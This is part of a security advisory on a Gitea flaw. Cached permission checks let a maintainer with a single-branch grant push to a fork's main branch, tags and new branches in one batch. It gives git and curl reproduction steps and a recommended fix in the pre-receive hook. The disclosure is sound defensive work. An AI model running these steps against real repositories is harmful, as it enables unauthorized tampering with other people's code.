Advisory

GHSA-649p-mmhf-85c7

Details, part 2 of 2. The advisory

Details

At this point, the attacker (as maintainer of the base repo attacker/project) has a per-branch write grant on the victim's fork, scoped to the feature-branch branch only.

Attack

The attacker works from their own repo (attacker/project)

# 5. Attacker clones their own repo
git clone http://attacker:pw@<gitea>/attacker/project.git && cd project

# 6. Attacker fetches the victim's PR branch
git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch
git checkout victim-feature-branch

# 7. Attacker adds a commit to the PR branch
echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"

# 8. Attacker also prepares a malicious commit on main
git checkout main
echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"

# 9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit
git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main

# 10. The change on both refs is visible regardless of PR status

Expected result:
main should be rejected ("User permission denied for writing").

Actual result:
Both refs are accepted. victim/project:main now contains the attacker's malicious commit.

# Verify: victim checks their fork's main branch
curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main"
# Returns attacker's "MALICIOUS CONTENT" — main has been overwritten

The same technique also works for pushing arbitrary tags (refs/tags/*) and creating new branches.

Recommended Fix

Remove the caching in CanWriteCode() — the CanMaintainerWriteToBranch check must be evaluated for every ref in the batch, not cached after the first call. The checkedCanWriteCode / canWriteCode fields on preReceiveContext and the guard in CanWriteCode() at hook_pre_receive.go:55-64 should be removed, so the permission is evaluated fresh each time preReceiveBranch or preReceiveTag calls it. loadPusherAndPermission() already has its own caching (loadedPusher), so the per-call cost is limited to the CanMaintainerWriteToBranch query.

See diff.patch for the proposed fix.

Patch provenance: AI-generated, human-reviewed.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Sources & licences